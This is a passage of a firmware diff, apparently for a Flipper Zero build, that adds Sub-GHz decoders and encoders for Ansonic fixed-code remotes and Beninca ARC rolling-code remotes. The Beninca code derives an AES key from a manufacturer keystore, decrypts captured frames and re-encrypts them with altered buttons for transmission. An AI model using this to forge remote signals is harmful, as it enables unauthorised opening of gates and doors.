SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_ansonic_decoder,
|
||||
.encoder = &subghz_protocol_ansonic_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_ansonic_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderAnsonic* instance = malloc(sizeof(SubGhzProtocolEncoderAnsonic));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_ansonic;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 52;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_ansonic_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderAnsonic* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderAnsonic instance
|
||||
* @return true On success
|
||||
*/
|
||||
static bool subghz_protocol_encoder_ansonic_get_upload(SubGhzProtocolEncoderAnsonic* instance) {
|
||||
furi_assert(instance);
|
||||
size_t index = 0;
|
||||
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
|
||||
if(size_upload > instance->encoder.size_upload) {
|
||||
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
|
||||
return false;
|
||||
} else {
|
||||
instance->encoder.size_upload = size_upload;
|
||||
}
|
||||
//Send header
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_ansonic_const.te_short * 35);
|
||||
//Send start bit
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_ansonic_const.te_short);
|
||||
//Send key data
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
//send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_ansonic_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_ansonic_const.te_long);
|
||||
} else {
|
||||
//send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_ansonic_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_ansonic_const.te_short);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderAnsonic* instance = context;
|
||||
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
|
||||
do {
|
||||
res = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_ansonic_const.min_count_bit_for_found);
|
||||
if(res != SubGhzProtocolStatusOk) {
|
||||
FURI_LOG_E(TAG, "Deserialize error");
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
if(!subghz_protocol_encoder_ansonic_get_upload(instance)) {
|
||||
res = SubGhzProtocolStatusErrorEncoderGetUpload;
|
||||
break;
|
||||
}
|
||||
instance->encoder.is_running = true;
|
||||
} while(false);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_ansonic_stop(void* context) {
|
||||
SubGhzProtocolEncoderAnsonic* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_ansonic_yield(void* context) {
|
||||
SubGhzProtocolEncoderAnsonic* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_ansonic_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderAnsonic* instance = malloc(sizeof(SubGhzProtocolDecoderAnsonic));
|
||||
instance->base.protocol = &subghz_protocol_ansonic;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_ansonic_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAnsonic* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_ansonic_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAnsonic* instance = context;
|
||||
instance->decoder.parser_step = AnsonicDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_ansonic_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAnsonic* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case AnsonicDecoderStepReset:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_short * 35) <
|
||||
subghz_protocol_ansonic_const.te_delta * 35)) {
|
||||
//Found header Ansonic
|
||||
instance->decoder.parser_step = AnsonicDecoderStepFoundStartBit;
|
||||
}
|
||||
break;
|
||||
case AnsonicDecoderStepFoundStartBit:
|
||||
if(!level) {
|
||||
break;
|
||||
} else if(
|
||||
DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_short) <
|
||||
subghz_protocol_ansonic_const.te_delta) {
|
||||
//Found start bit Ansonic
|
||||
instance->decoder.parser_step = AnsonicDecoderStepSaveDuration;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
} else {
|
||||
instance->decoder.parser_step = AnsonicDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case AnsonicDecoderStepSaveDuration:
|
||||
if(!level) { //save interval
|
||||
if(duration >= (subghz_protocol_ansonic_const.te_short * 4)) {
|
||||
instance->decoder.parser_step = AnsonicDecoderStepFoundStartBit;
|
||||
if(instance->decoder.decode_count_bit >=
|
||||
subghz_protocol_ansonic_const.min_count_bit_for_found) {
|
||||
instance->generic.serial = 0x0;
|
||||
instance->generic.btn = 0x0;
|
||||
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
break;
|
||||
}
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = AnsonicDecoderStepCheckDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = AnsonicDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case AnsonicDecoderStepCheckDuration:
|
||||
if(level) {
|
||||
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_ansonic_const.te_short) <
|
||||
subghz_protocol_ansonic_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_long) <
|
||||
subghz_protocol_ansonic_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
instance->decoder.parser_step = AnsonicDecoderStepSaveDuration;
|
||||
} else if(
|
||||
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_ansonic_const.te_long) <
|
||||
subghz_protocol_ansonic_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_short) <
|
||||
subghz_protocol_ansonic_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
instance->decoder.parser_step = AnsonicDecoderStepSaveDuration;
|
||||
} else
|
||||
instance->decoder.parser_step = AnsonicDecoderStepReset;
|
||||
} else {
|
||||
instance->decoder.parser_step = AnsonicDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Analysis of received data
|
||||
* @param instance Pointer to a SubGhzBlockGeneric* instance
|
||||
*/
|
||||
static void subghz_protocol_ansonic_check_remote_controller(SubGhzBlockGeneric* instance) {
|
||||
/*
|
||||
* 12345678(10) k 9
|
||||
* AAA => 10101010 1 01 0
|
||||
*
|
||||
* 1...10 - DIP
|
||||
* k- KEY
|
||||
*/
|
||||
instance->cnt = instance->data & 0xFFF;
|
||||
instance->btn = ((instance->data >> 1) & 0x3);
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_ansonic_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAnsonic* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_ansonic_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAnsonic* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAnsonic* instance = context;
|
||||
return subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_ansonic_const.min_count_bit_for_found);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_ansonic_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderAnsonic* instance = context;
|
||||
subghz_protocol_ansonic_check_remote_controller(&instance->generic);
|
||||
|
||||
// push protocol data to global variable
|
||||
subghz_block_generic_global.btn_is_available = false;
|
||||
subghz_block_generic_global.current_btn = instance->generic.btn;
|
||||
subghz_block_generic_global.btn_length_bit = 2;
|
||||
//
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:%03lX\r\n"
|
||||
"Btn:%X\r\n"
|
||||
"DIP:" DIP_PATTERN "\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(uint32_t)(instance->generic.data & 0xFFFFFFFF),
|
||||
instance->generic.btn,
|
||||
CNT_TO_DIP(instance->generic.cnt));
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_ANSONIC_NAME "Ansonic"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderAnsonic SubGhzProtocolDecoderAnsonic;
|
||||
typedef struct SubGhzProtocolEncoderAnsonic SubGhzProtocolEncoderAnsonic;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_ansonic_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_ansonic_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_ansonic;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderAnsonic.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderAnsonic* pointer to a SubGhzProtocolEncoderAnsonic instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_ansonic_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderAnsonic.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
|
||||
*/
|
||||
void subghz_protocol_encoder_ansonic_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return true On success
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
|
||||
*/
|
||||
void subghz_protocol_encoder_ansonic_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_ansonic_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderAnsonic.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderAnsonic* pointer to a SubGhzProtocolDecoderAnsonic instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_ansonic_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderAnsonic.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
|
||||
*/
|
||||
void subghz_protocol_decoder_ansonic_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderAnsonic.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
|
||||
*/
|
||||
void subghz_protocol_decoder_ansonic_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_ansonic_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_ansonic_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderAnsonic.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return true On success
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_ansonic_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderAnsonic.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return true On success
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_ansonic_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,3 @@
|
||||
#pragma once
|
||||
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
@@ -0,0 +1,695 @@
|
||||
#include "beninca_arc.h"
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include "core/log.h"
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <furi_hal_crypto.h>
|
||||
|
||||
#include <lib/subghz/blocks/custom_btn_i.h>
|
||||
|
||||
#define TAG "BenincaARC"
|
||||
|
||||
#define BENINCA_ARC_KEY_TYPE 9u
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_beninca_arc_const = {
|
||||
.te_short = 300,
|
||||
.te_long = 600,
|
||||
.te_delta = 155,
|
||||
.min_count_bit_for_found = 128,
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
BenincaARCDecoderStart = 0,
|
||||
BenincaARCDecoderHighLevel,
|
||||
BenincaARCDecoderLowLevel,
|
||||
} BenincaARCDecoderState;
|
||||
|
||||
struct SubGhzProtocolDecoderBenincaARC {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
SubGhzBlockDecoder decoder;
|
||||
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
SubGhzKeystore* keystore;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderBenincaARC {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
SubGhzKeystore* keystore;
|
||||
};
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_beninca_arc_decoder = {
|
||||
.alloc = subghz_protocol_decoder_beninca_arc_alloc,
|
||||
.free = subghz_protocol_decoder_beninca_arc_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_beninca_arc_feed,
|
||||
.reset = subghz_protocol_decoder_beninca_arc_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_beninca_arc_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_beninca_arc_serialize,
|
||||
.deserialize = subghz_protocol_decoder_beninca_arc_deserialize,
|
||||
.get_string = subghz_protocol_decoder_beninca_arc_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_beninca_arc_encoder = {
|
||||
.alloc = subghz_protocol_encoder_beninca_arc_alloc,
|
||||
.free = subghz_protocol_encoder_beninca_arc_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_beninca_arc_deserialize,
|
||||
.stop = subghz_protocol_encoder_beninca_arc_stop,
|
||||
.yield = subghz_protocol_encoder_beninca_arc_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_beninca_arc = {
|
||||
.name = SUBGHZ_PROTOCOL_BENINCA_ARC_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_beninca_arc_decoder,
|
||||
.encoder = &subghz_protocol_beninca_arc_encoder,
|
||||
};
|
||||
|
||||
// Get custom button code
|
||||
static uint8_t subghz_protocol_beninca_arc_get_btn_code(void) {
|
||||
uint8_t custom_btn_id = subghz_custom_btn_get();
|
||||
uint8_t original_btn_code = subghz_custom_btn_get_original();
|
||||
uint8_t btn = original_btn_code;
|
||||
|
||||
// Set custom button
|
||||
if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
|
||||
// Restore original button code
|
||||
btn = original_btn_code;
|
||||
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
|
||||
switch(original_btn_code) {
|
||||
case 0x02:
|
||||
btn = 0x04;
|
||||
break;
|
||||
case 0x04:
|
||||
btn = 0x02;
|
||||
break;
|
||||
case 0x00:
|
||||
btn = 0x04;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
|
||||
switch(original_btn_code) {
|
||||
case 0x02:
|
||||
btn = 0x00;
|
||||
break;
|
||||
case 0x04:
|
||||
btn = 0x00;
|
||||
break;
|
||||
case 0x00:
|
||||
btn = 0x02;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return btn;
|
||||
}
|
||||
|
||||
static void get_subghz_protocol_beninca_arc_aes_key(SubGhzKeystore* keystore, uint8_t* aes_key) {
|
||||
uint64_t mfkey = 0;
|
||||
for
|
||||
M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
|
||||
if(manufacture_code->type == BENINCA_ARC_KEY_TYPE) {
|
||||
mfkey = manufacture_code->key;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t derived_lo = (uint32_t)(mfkey & 0xFFFFFFFF);
|
||||
uint32_t derived_hi = (uint32_t)((mfkey >> 32) & 0xFFFFFFFF);
|
||||
|
||||
uint64_t val64_a = ((uint64_t)derived_hi << 32) | derived_lo;
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
aes_key[i] = (val64_a >> (56 - i * 8)) & 0xFF;
|
||||
}
|
||||
|
||||
uint32_t new_lo = ((derived_hi >> 24) & 0xFF) | ((derived_hi >> 8) & 0xFF00) |
|
||||
((derived_hi << 8) & 0xFF0000) | ((derived_hi << 24) & 0xFF000000);
|
||||
uint32_t new_hi = ((derived_lo >> 24) & 0xFF) | ((derived_lo >> 8) & 0xFF00) |
|
||||
((derived_lo << 8) & 0xFF0000) | ((derived_lo << 24) & 0xFF000000);
|
||||
|
||||
uint64_t val64_b = ((uint64_t)new_hi << 32) | new_lo;
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
aes_key[i + 8] = (val64_b >> (56 - i * 8)) & 0xFF;
|
||||
}
|
||||
}
|
||||
|
||||
static void reverse_bits_in_bytes(uint8_t* data, uint8_t len) {
|
||||
for(uint8_t i = 0; i < len; i++) {
|
||||
uint8_t byte = data[i];
|
||||
uint8_t step1 = ((byte & 0x55) << 1) | ((byte >> 1) & 0x55);
|
||||
uint8_t step2 = ((step1 & 0x33) << 2) | ((step1 >> 2) & 0x33);
|
||||
data[i] = ((step2 & 0x0F) << 4) | (step2 >> 4);
|
||||
}
|
||||
}
|
||||
|
||||
static uint64_t
|
||||
subghz_protocol_beninca_arc_decrypt(SubGhzBlockGeneric* generic, SubGhzKeystore* keystore) {
|
||||
// Beninca ARC Decoder
|
||||
// 01.2026 - @xMasterX (MMX) & @zero-mega
|
||||
|
||||
// Decrypt data
|
||||
uint8_t encrypted_data[16];
|
||||
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
encrypted_data[i] = (generic->data >> (56 - i * 8)) & 0xFF;
|
||||
encrypted_data[i + 8] = (generic->data_2 >> (56 - i * 8)) & 0xFF;
|
||||
}
|
||||
|
||||
reverse_bits_in_bytes(encrypted_data, 16);
|
||||
|
||||
uint8_t aes_key[16];
|
||||
get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key);
|
||||
|
||||
uint8_t decrypted[16];
|
||||
furi_hal_crypto_aes128_ecb_decrypt(aes_key, encrypted_data, decrypted);
|
||||
memcpy(encrypted_data, decrypted, 16);
|
||||
|
||||
// Serial number of remote
|
||||
generic->serial = ((uint32_t)encrypted_data[0] << 24) | ((uint32_t)encrypted_data[1] << 16) |
|
||||
((uint32_t)encrypted_data[2] << 8) | encrypted_data[3];
|
||||
|
||||
// Button code
|
||||
generic->btn = encrypted_data[4];
|
||||
|
||||
// Middle bytes contains mini counter that is increased while button is held
|
||||
// its value mostly stored in encrypted_data[9] but might be in other bytes as well
|
||||
// In order to support all variants we read all middle bytes as uint64_t
|
||||
// In case you have the remote with ARC rolling code please share RAW recording where you hold button for 15+ sec with us to improve this part!
|
||||
uint64_t middle_bytes = 0;
|
||||
middle_bytes = ((uint64_t)encrypted_data[5] << 32) | ((uint64_t)encrypted_data[6] << 24) |
|
||||
((uint64_t)encrypted_data[7] << 16) | ((uint64_t)encrypted_data[8] << 8) |
|
||||
encrypted_data[9];
|
||||
|
||||
// 32-bit counter
|
||||
generic->cnt = ((uint32_t)encrypted_data[10] << 24) | ((uint32_t)encrypted_data[11] << 16) |
|
||||
((uint32_t)encrypted_data[12] << 8) | encrypted_data[13];
|
||||
// Fixed constant value AA 55
|
||||
generic->seed = ((uint16_t)encrypted_data[14] << 8) | encrypted_data[15];
|
||||
|
||||
// Save original button for later use
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(generic->btn);
|
||||
}
|
||||
subghz_custom_btn_set_max(2);
|
||||
|
||||
return middle_bytes;
|
||||
}
|
||||
|
||||
static void subghz_protocol_beninca_arc_encrypt(
|
||||
SubGhzBlockGeneric* generic,
|
||||
SubGhzKeystore* keystore,
|
||||
uint64_t middle_bytes) {
|
||||
// Beninca ARC Encoder
|
||||
// 01.2026 - @xMasterX (MMX) & @zero-mega
|
||||
// Encrypt data
|
||||
uint8_t plaintext[16];
|
||||
|
||||
plaintext[0] = (generic->serial >> 24) & 0xFF;
|
||||
plaintext[1] = (generic->serial >> 16) & 0xFF;
|
||||
plaintext[2] = (generic->serial >> 8) & 0xFF;
|
||||
plaintext[3] = generic->serial & 0xFF;
|
||||
plaintext[4] = generic->btn;
|
||||
plaintext[5] = (middle_bytes >> 32) & 0xFF;
|
||||
plaintext[6] = (middle_bytes >> 24) & 0xFF;
|
||||
plaintext[7] = (middle_bytes >> 16) & 0xFF;
|
||||
plaintext[8] = (middle_bytes >> 8) & 0xFF;
|
||||
plaintext[9] = middle_bytes & 0xFF;
|
||||
plaintext[10] = (generic->cnt >> 24) & 0xFF;
|
||||
plaintext[11] = (generic->cnt >> 16) & 0xFF;
|
||||
plaintext[12] = (generic->cnt >> 8) & 0xFF;
|
||||
plaintext[13] = generic->cnt & 0xFF;
|
||||
plaintext[14] = (generic->seed >> 8) & 0xFF;
|
||||
plaintext[15] = generic->seed & 0xFF;
|
||||
|
||||
uint8_t aes_key[16];
|
||||
get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key);
|
||||
|
||||
uint8_t encrypted[16];
|
||||
furi_hal_crypto_aes128_ecb_encrypt(aes_key, plaintext, encrypted);
|
||||
memcpy(plaintext, encrypted, 16);
|
||||
|
||||
reverse_bits_in_bytes(plaintext, 16);
|
||||
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
generic->data = (generic->data << 8) | plaintext[i];
|
||||
generic->data_2 = (generic->data_2 << 8) | plaintext[i + 8];
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void* subghz_protocol_encoder_beninca_arc_alloc(SubGhzEnvironment* environment) {
|
||||
SubGhzProtocolEncoderBenincaARC* instance = malloc(sizeof(SubGhzProtocolEncoderBenincaARC));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_beninca_arc;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->keystore = subghz_environment_get_keystore(environment);
|
||||
|
||||
instance->encoder.repeat = 1;
|
||||
instance->encoder.size_upload = 800;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_beninca_arc_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderBenincaARC* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_beninca_arc_stop(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderBenincaARC* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
static void subghz_protocol_beninca_arc_encoder_get_upload(
|
||||
SubGhzProtocolEncoderBenincaARC* instance,
|
||||
size_t* index) {
|
||||
furi_assert(instance);
|
||||
size_t index_local = *index;
|
||||
|
||||
// First part of data 64 bits
|
||||
for(uint8_t i = 64; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
// Send bit 1
|
||||
instance->encoder.upload[index_local++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
|
||||
instance->encoder.upload[index_local++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
|
||||
} else {
|
||||
// Send bit 0
|
||||
instance->encoder.upload[index_local++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
|
||||
instance->encoder.upload[index_local++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
|
||||
}
|
||||
}
|
||||
// Second part of data 64 bits - total 128bits data
|
||||
for(uint8_t i = 64; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data_2, i - 1)) {
|
||||
// Send bit 1
|
||||
instance->encoder.upload[index_local++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
|
||||
instance->encoder.upload[index_local++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
|
||||
} else {
|
||||
// Send bit 0
|
||||
instance->encoder.upload[index_local++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
|
||||
instance->encoder.upload[index_local++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
|
||||
}
|
||||
}
|
||||
// Add stop bit
|
||||
instance->encoder.upload[index_local++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
|
||||
// Add gap between packets
|
||||
instance->encoder.upload[index_local++] =
|
||||
